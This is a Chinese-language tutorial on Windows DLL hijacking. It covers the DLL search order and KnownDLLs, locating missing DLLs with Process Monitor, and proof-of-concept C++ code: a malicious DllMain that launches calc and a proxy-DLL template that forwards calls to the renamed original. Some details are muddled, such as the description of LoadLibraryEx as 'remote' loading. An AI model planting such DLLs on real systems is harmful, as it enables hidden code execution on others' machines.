dll是什么
dll为动态链接库文件,又称"应用程序拓展",是软件文件类型。在Windows中许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库文件,即dll文件,放置于系统中,个人理解类似于我们编程中引入的模块。
-
静态编译:debug状态下:MTd release状态下:MT
-
动态编译:debug状态下:MDd release状态下:MD
动态编译的生成的可执行文件的exe小,但是运行需要系统环境具有相关的dll和lib文件,就是动态调用系统相关的文件才能运行;
静态编译生成的可执行文件exe大,但是运行的时候不依赖于系统环境所依赖的dll和lib等环境问题,在编译的时候已经这些dll相关文件编译进了exe文件,所以exe文件较大。所以需要自己创建的工程需要在别的电脑上运行,考虑到稳定性,同时对执行文件的大小没有要求的话还是尽量选择静态编译。
dll劫持漏洞原理
如果在一个进程加载dll时没有指定dll的绝对路径,那么windows会尝试去按照顺序搜索这些特定目录来查找这个dll。如果攻击者将恶意的dll放在优先于正常dll所在目录,那么就能够欺骗系统去加载恶意的dll,形成dll劫持。
DLL路径搜索目录顺序
- 程序加载目录
- 系统目录。使用GetSystemDirectory获取该路径
- 16位系统目录
- windows目录,使用GetWindowsDirectory获取该路径
- windows当前目录
- PATH环境变量中列出的目录
Know Dlls注册表项
从windows7之后,微软为了更进一步的防御系统的dll劫持,将一些容易被劫持的系统dll写进了一个注册表项中,那么凡是在此项目下的dll文件就会被禁止从exe自身所在目录下调用,而只能从系统目录即system32目录下调用
- 默认情况下:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
处于开启状态,如果手动设置为0,关闭该安全选项,搜索顺序为:在以上顺序的基础上,将 当前目录 修改至 系统目录 的位置,其他顺移。
另外当前应用程序加载dll时如果仅指定dll名称时,那么将按照以上顺序搜索dll文件,不过在加载之前还需要满足以下两条规范:
1.当内存中已加载相同模块名称的dll时,系统将直接夹在该dll,不会进行搜索,除非设置了dll重定向选项
2.如果要加载的dll模块属于known dlls,系统直接加载系统目录下的该dll,不会进行搜索
windows操作系统通过”dll路径搜索目录顺序"和“known dlls注册表项"来确定应用程序所要调用的dll的路径,当一个进程尝试加载一个dll的时候,会先尝试搜索程序所处的目录,若还没有找到,则向下搜索16位系统目录即system目录,然后windows目录,当前目录,path环境变量的各个目录。
这样的加载顺序很容易就会导致一个系统的dll被劫持,只要攻击者将目标文件和恶意dll放在一起即可导致恶意dll搜索顺序优先于系统dll目录加载,就能够欺骗系统去加载恶意的dll,形成"dll劫持"。
手动劫持
- 劫持程序运行时加载的未知dll
用到的工具 Process Monitor v3.60
通过process monitor监控dll调用是一种最基础的寻找dll劫持的方式
设置过滤规则:(默认的不需要改变)
Path ends with .dll
Result is NAME NOT FOUND
Process Name contains 进程名称
然后这里找到一个需要用到loadlibrary这个api的dll,这里找有个api的原因是因为如果该dll的调用栈中存在有 **loadlibrary(Ex) * *,说明这个dll被进程所动态加载的。如果这种利用场景下,伪造的dll文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在dll被加载成功加载之后的事情。
loadlibrary和loadlibraryex是一个本地加载,一个是远程加载,如果dll不在调用的同一目录下,就可以使用loadlibrary(L"DLL绝对路径")加载。但是如果DLL内部又调用一个DLL,就需要使用loadlibraryex进行远程加载
LoadLibraryEx(“DLL绝对路径”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
LoadLibraryEx的最后一个参数设置为load_With_altered_Search_path即可让系统dll搜索顺序从我们设置的目录开始
找到可以被劫持的dll文件
编写恶意的dll
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
用vs创建dll项目,并生成
- 劫持程序某个功能调用的dll文件
某个exe程序运行的时候,监控某个功能(例如截图)所调用的dll文件
1.使用CFFExplorer工具查看该文件(dll文件名为B),导出目录里的kerbel32.dll里是否调用了LoadLibrary
2.如果调用了LoadLibrary,则在导出目录找导出的函数名(函数名为C)
3.自己编写dll,重命名为B.dll,将原先的B.dll重命名为B_origin.dll。B.dll代码里用LoadLibrary调用B_origin.dll
4.运行该程序的某个功能,即可劫持
代码demo
extern导出函数的代码可以用rundll32 dllExtern.dll test(函数名) 调用extern “C” extern "C"使得在C++中使用c编译方式成为可能。在c++下定义c函数,需要加extern “C"关键字。用extern "C"来指明该函数使用c编译方式。输出的"c"函数可以从"c"代码里调用
__declspec(dllexport)的作用就是让编译器按照某种预定的方式来输出导出函数及变量的符号
动态链接库文件中包含若干公用的代码、数据库等。供其他模块使用。动态链接库是将应用程序模块化的重要方法、动态链接库中的函数和数据可以同时供其他多个可执行文件使用,不同的可执行文件可以调用同一个动态链接库中的函数。DLL中函数经过"导出"后可以被exe文件中的程序调用
#include <Windows.h> // 这是导出变量的一个示例
extern "C" _declspec(dllexport) void __cdecl test(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow)
{
WinExec("calc.exe", SW_HIDE);
return;
}
#劫持dll的代码模板
#假设程序加载的dll名字为B,B.dll的导出函数为C
#劫持的dll名字改为B
#B.dll改为B_Origin.dll
#PrScrn改为C
#PrScrn_Origial.dll改为B_Origin.dll
#include <Windows.h>
extern "C" __declspec(dllexport) void PrScrn();
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("calc.exe", SW_HIDE); //我们要攻击的恶意代码
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void PrScrn()
{
MessageBox(NULL, L"DLL Hijack! by DLLHijacker!", L":)", 0); //我们要攻击的恶意代码
HINSTANCE hDllInst = LoadLibrary(L"PrScrn_Origial.dll");
if (hDllInst)
{
typedef DWORD(WINAPI *EXPFUNC)();
EXPFUNC exportFunc = NULL;
exportFunc = (EXPFUNC)GetProcAddress(hDllInst, "PrScrn");
if (exportFunc)
{
exportFunc();
}
FreeLibrary(hDllInst);
}
return;
}
实验:
process monitor做以下规则
Path ends with .dll
Result is SUCCESS
Process Name contains 进程名称
使用CFFExplorer查看目标dll文件